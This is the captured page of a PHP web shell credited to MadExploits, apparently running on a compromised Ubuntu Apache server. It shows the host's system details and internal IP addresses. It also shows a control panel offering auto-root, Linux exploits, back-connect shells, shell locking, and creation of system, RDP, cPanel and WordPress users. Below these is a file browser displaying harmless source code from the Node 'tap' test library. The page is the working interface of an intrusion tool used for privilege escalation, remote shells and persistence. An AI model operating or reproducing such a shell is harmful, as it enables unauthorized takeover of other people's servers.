Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
tap /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
base.js
5.96
KB
-rw-r--r--
clean-yaml-object.js
2.05
KB
-rw-r--r--
diags.js
130
B
-rw-r--r--
extra-from-error.js
1.05
KB
-rw-r--r--
mocha.js
3.7
KB
-rw-r--r--
obj-to-yaml.js
365
B
-rw-r--r--
parse-test-args.js
1.41
KB
-rw-r--r--
point.js
1.32
KB
-rw-r--r--
snapshot.js
2.32
KB
-rw-r--r--
spawn.js
3.49
KB
-rw-r--r--
stack.js
1022
B
-rw-r--r--
stdin.js
784
B
-rw-r--r--
synonyms.js
2.13
KB
-rw-r--r--
tap.js
5.25
KB
-rw-r--r--
test.js
35.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : snapshot.js
'use strict' const writeFile = require('write-file-atomic') const fs = require('fs') const mkdirp = require('mkdirp') const path = require('path') const rimraf = require('rimraf') class Snapshot { constructor (test) { this.indexes = new Map() this.test = test // name them .test.js so that nyc ignores them this.file = path.resolve( process.cwd(), 'tap-snapshots', this.test.fullname.replace(/[^a-zA-Z0-9\._\-]+/g, '-') ) + '.test.js' this.snapshot = null } // should only ever call _one_ of read/save read (message) { const index = this.indexes.get(message) || 1 this.indexes.set(message, index + 1) try { this.snapshot = this.snapshot || require(this.file) } catch (er) { throw new Error( 'Snapshot file not found: ' + this.file + '\n' + 'Run with TAP_SNAPSHOT=1 in the environment\n' + 'to create snapshot files' ) } const entry = message + ' ' + index const s = this.snapshot[entry] if (s === undefined) throw new Error( 'Snapshot entry not found: "' + entry + + '"\n' + 'Run with TAP_SNAPSHOT=1 in the environment\n' + 'to create snapshots' ) return s.replace(/^\n|\n$/g, '') } snap (data, message) { const index = this.indexes.get(message) || 1 this.indexes.set(message, index + 1) this.snapshot = this.snapshot || {} this.snapshot[message + ' ' + index] = data } save () { if (!this.snapshot) rimraf.sync(this.file) else { const escape = s => s .replace(/\\/g, '\\\\') .replace(/\`/g, '\\\`') .replace(/\$\{/g, '\\${') const data = '/* IMPORTANT\n' + ' * This snapshot file is auto-generated, but designed for humans.\n' + ' * It should be checked into source control and tracked carefully.\n' + ' * Re-generate by setting TAP_SNAPSHOT=1 and running tests.\n' + ' * Make sure to inspect the output below. Do not ignore changes!\n' + ' */\n\'use strict\'\n' + ( Object.keys(this.snapshot).map(s => `exports[\`${ escape(s) }\`] = \`\n${ escape(this.snapshot[s]) }\n\`\n`).join('\n')) mkdirp.sync(path.dirname(this.file)) writeFile.sync(this.file, data, 'utf8') } } } module.exports = Snapshot
Close